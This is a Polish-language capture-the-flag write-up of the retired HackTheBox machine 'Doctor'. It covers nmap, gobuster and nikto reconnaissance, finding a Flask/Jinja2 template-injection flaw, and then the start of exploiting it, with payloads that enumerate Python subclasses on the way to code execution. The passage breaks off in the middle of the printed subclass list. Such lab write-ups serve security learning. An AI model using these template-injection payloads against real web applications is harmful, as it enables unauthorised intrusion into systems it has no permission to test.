Writeup: Maszyna HackTheBox Doctor

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Doctor - spełnia ten warunek.

Machine Info

1. TLDR

Doctor graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.209

3. Skanowanie i rozpoznanie

Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T5 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-07 10:55 CET
Nmap scan report for 10.10.10.209
Host is up (0.041s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.30 seconds

Na serwerze były uruchomione dwie usługi http.

Pierwszą z nich była strona www:

Doctor website

Drugą z nich był interfejs webowy Apache Splunk:

Doctor splunk

W związku z dostępną usługą http na porcie 80, uruchomiłem narzędzie gobuster:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.209
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/07 14:46:23 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/server-status (Status: 403)
===============================================================
2020/11/07 15:01:31 Finished
===============================================================

oraz nikto:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nikto -h $IP | tee nikto/01-initial.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.209
+ Target Hostname:    10.10.10.209
+ Target Port:        80
+ Start Time:         2020-11-07 15:11:48 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 4d88, size: 5afad8bea6589, mtime: gzip
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST 
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ 7863 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2020-11-07 15:17:52 (GMT1) (364 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!

W związku z dostępną usługą http na porcie 8089, również uruchomiłem narzędzie gobuster:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $gobuster dir -u https://$IP:8089 --insecuressl -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/8089-01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://10.10.10.209:8089
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/07 15:26:13 Starting gobuster
===============================================================
/services (Status: 401)
/v2 (Status: 200)
/v1 (Status: 200)
/v3 (Status: 200)
...
/v53 (Status: 200)
/v30 (Status: 200)
===============================================================
2020/11/07 15:42:47 Finished
===============================================================

oraz nikto:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nikto -h $IP:8089 | tee nikto/8089-01-initial.txt 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.209
+ Target Hostname:    10.10.10.209
+ Target Port:        8089
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=SplunkServerDefaultCert/O=SplunkUser
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=US/ST=CA/L=San Francisco/O=Splunk/CN=SplunkCommonCA/emailAddress=support@splunk.com
+ Start Time:         2020-11-07 15:46:10 (GMT1)
---------------------------------------------------------------------------
+ Server: Splunkd
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Hostname '10.10.10.209' does not match certificate's names: SplunkServerDefaultCert
+ Allowed HTTP Methods: GET, POST, HEAD, OPTIONS 
+ 8021 requests: 6 error(s) and 5 item(s) reported on remote host
+ End Time:           2020-11-07 16:13:56 (GMT1) (1666 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Przeanalizowałem ponownie zawartość strony i jej źródła. Zauważyłem tutaj informację o nazwie hosta:

Doctor hostname

Dopisałem zatem rekord do pliku /etc/hosts

10.10.10.209	doctors.htb

Próba wejścia pod adres http://doctors.htb ujawniła witrynę Doctor Secure Messagigng:

Doctor doctor-secure-messaging

Uruchomiłem zatem ponownie narzędzie gobuster:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $gobuster dir -u http://doctors.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/03-doctors-htb.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://doctors.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/07 21:51:17 Starting gobuster
===============================================================
/home (Status: 302)
/login (Status: 200)
/archive (Status: 200)
/register (Status: 200)
/account (Status: 302)
/logout (Status: 302)
/reset_password (Status: 200)
/server-status (Status: 403)
===============================================================
2020/11/07 22:20:53 Finished
===============================================================

oraz nikto:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nikto -h doctors.htb | tee nikto/03-doctors-htb.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.209
+ Target Hostname:    doctors.htb
+ Target Port:        80
+ Start Time:         2020-11-07 22:25:36 (GMT1)
---------------------------------------------------------------------------
+ Server: Werkzeug/1.0.1 Python/3.8.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://doctors.htb/login?next=%2F
+ Server banner has changed from 'Werkzeug/1.0.1 Python/3.8.2' to 'Apache/2.4.41 (Ubuntu)' which may suggest a WAF, load balancer or proxy is in place
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: HEAD, OPTIONS, GET 
+ 7785 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2020-11-07 22:32:09 (GMT1) (393 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!

Sprawdziłem wyniki zwrócone przez narzędzie gobuster: strona /archive była… pusta:

Doctor archive empty

ale w źródle głównej strony http://doctors.htb/ znalazłem taką informację:

Doctor archive comment

Zarejestrowałem więc konto na stronie i rozpocząłem testy eksploracyjne webaplikacji:

Doctor account

Zauważyłem, że po dodaniu nowego posta:

Doctor new post

w zawartości /archive pojawia się nowy rekord:

Doctor archive item

Mogłem zatem kontrolować zawartość pola title. Po kilku próbach pojawiła się myśl: czyżby został tutaj użyty silnik szablonów? Żeby dokładnie zrozumieć dalszą część wpisu, warto zapoznać się z krótkim artykułem dotyczącym podatności Server-Side Template Injection.

4. Uzyskanie dostępu

W celu weryfikacji istnienia podatności SSTI na testowanej stronie, wysłałem nowy post o tytule {{7*7}}:

Doctor ssti test request

W odpowiedzi na przesłane żądanie w /archive pojawił się item z tytułem 49:

Doctor ssti test response

Potwierdziłem w ten sposób istnienie podatności SSTI na testowanej stronie.

Przystąpiłem zatem do eksploitacji podatności:

Request:    {{ ''.__class__.__mro__ }}
Response:   <class 'str'>, <class 'object'>
Request:    {{ ''.__class__.__mro__[1].__subclasses__() }}
Response:   [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'Struct'>, <class 'unpack_iterator'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'simplejson.raw_json.RawJSON'>, <class 'simplejson._speedups.Scanner'>, <class 'simplejson._speedups.Encoder'>, <class 'simplejson.decoder.JSONDecoder'>, <class 'simplejson.encoder.JSONEncoder'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'blinker._utilities._symbol'>, <class 'blinker._utilities.symbol'>, <class 'blinker._utilities.lazy_property'>, <class 'blinker.base.Signal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'configparser.Interpolation'>, <class 'sqlalchemy.util._collections.ImmutableContainer'>, <class 'sqlalchemy.util._collections.Properties'>, <class 'sqlalchemy.util._collections.IdentitySet'>, <class 'sqlalchemy.util._collections.WeakSequence'>, <class 'sqlalchemy.util._collections.UniqueAppender'>, <class 'sqlalchemy.util._collections.ScopedRegistry'>, <class 'textwrap.TextWrapper'>, <class 'sqlalchemy.exc.DontWrapMixin'>, <class 'sqlalchemy.util.langhelpers.safe_reraise'>, <class 'sqlalchemy.util.langhelpers.PluginLoader'>, <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>, <class 'sqlalchemy.util.langhelpers.memoized_property'>, <class 'sqlalchemy.util.langhelpers.group_expirable_memoized_property'>, <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>, <class 'sqlalchemy.util.langhelpers.dependencies._importlater'>, <class 'sqlalchemy.util.langhelpers.dependencies'>, <class 'sqlalchemy.util.langhelpers.hybridproperty'>, <class 'sqlalchemy.util.langhelpers.hybridmethod'>, <class 'sqlalchemy.util.langhelpers.symbol'>, <class 'sqlalchemy.sql.visitors.Visitable'>, <class 'sqlalchemy.sql.visitors.ClauseVisitor'>, <class 'sqlalchemy.sql.base.Immutable'>, <class 'sqlalchemy.sql.base.DialectKWArgs'>, <class 'sqlalchemy.sql.base.Generative'>, <class 'sqlalchemy.sql.base.SchemaEventTarget'>, <class 'sqlalchemy.sql.operators.Operators'>, <class 'sqlalchemy.sql.operators.custom_op'>, <class 'sqlalchemy.sql.type_api.Emulated'>, <class 'sqlalchemy.sql.type_api.NativeForEmulated'>, <class 'sqlalchemy.sql.annotation.Annotated'>, <class 'sqlalchemy.sql.selectable.HasPrefixes'>, <class 'sqlalchemy.sql.selectable.HasSuffixes'>, <class 'sqlalchemy.sql.selectable.HasCTE'>, <class 'sqlalchemy.event.registry._EventKey'>, <class 'sqlalchemy.event.attr._empty_collection'>, <class 'sqlalchemy.event.base._UnpickleDispatch'>, <class 'sqlalchemy.event.base._Dispatch'>, <class 'sqlalchemy.event.base.Events'>, <class 'sqlalchemy.event.base._JoinedDispatcher'>, <class 'sqlalchemy.event.base.dispatcher'>, <class 'sqlalchemy.sql.schema._NotAColumnExpr'>, <class 'sqlalchemy.sql.schema.IdentityOptions'>, <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>, <class 'sqlalchemy.sql.schema._SchemaTranslateMap'>, <class 'sqlalchemy.cprocessors.UnicodeResultProcessor'>, <class 'sqlalchemy.DecimalResultProcessor'>, <class 'sqlalchemy.sql.sqltypes._LookupExpressionAdapter'>, <class 'sqlalchemy.sql.sqltypes.Concatenable'>, <class 'sqlalchemy.sql.sqltypes.Indexable'>, <class 'sqlalchemy.sql.util._repr_base'>, <class 'sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping'>, <class 'sqlalchemy.sql.functions._FunctionGenerator'>, <class 'sqlalchemy.sql.compiler.Compiled'>, <class 'sqlalchemy.sql.compiler.TypeCompiler'>, <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>, <class 'sqlalchemy.engine.interfaces.Dialect'>, <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>, <class 'sqlalchemy.engine.interfaces.ExecutionContext'>, <class 